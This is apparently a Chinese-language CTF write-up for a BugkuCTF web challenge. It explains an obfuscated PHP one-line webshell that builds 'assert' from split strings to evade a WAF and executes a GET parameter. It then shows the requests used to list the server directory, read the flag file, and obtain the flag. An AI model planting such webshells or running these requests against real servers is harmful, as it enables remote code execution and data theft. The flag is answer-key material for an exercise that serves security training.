BugkuCTF-Web22-过狗一句话

    题目描述如下:

    1. 送给大家一个过狗一句话 $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])

    上面的php进行格式化:

    1. <?php
    2. $poc="a#s#s#e#r#t";
    3. $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
    4. $poc_2($_GET['s'])
    5. ?>

    分析下代码,先是定义了一个变量poc,然后定义变量poc_1让其分割poc成数组,,然后定变量poc_2让其等于数组poc_1的组合,也就构成了assert。最后执行的也就是assert($_GET[‘s’]),而assert函数有任意代码执行的漏洞,测试s=phpinfo(),发现可以显示php探针页面。

    BugkuCTF-Web22-过狗一句话 - 图1

    参考php中读取目录下文件的方法:

    最简单的是print_r(scandir($dir)),还可以利用print_r(glob("*.*"))
    
    scandir() //作用能扫描文件夹下的目录和文件,返回值为所有文件名组成的一个数组
    
    show_source() //显示文件源码
    
    highlight_file() //和show_source()函数是一个意思
    

    构造代码http://114.67.246.176:18023/index.php?s=print_r(scandir(%27/%27)),获取当前目录下文件名列表的数组

    Array ( [0] => . [1] => .. [2] => flaga15808abee46a1d5.txt [3] => index.php )
    

    发现flag信息,构造代码http://114.67.246.176:18023/index.php?s=print_r(show_source(%27flaga15808abee46a1d5.txt%27)),获得flag。

    <code><span style="color: #000000">
    flag{91ba050efddca647e57326bf2c1a79c6}</span>
    </code>1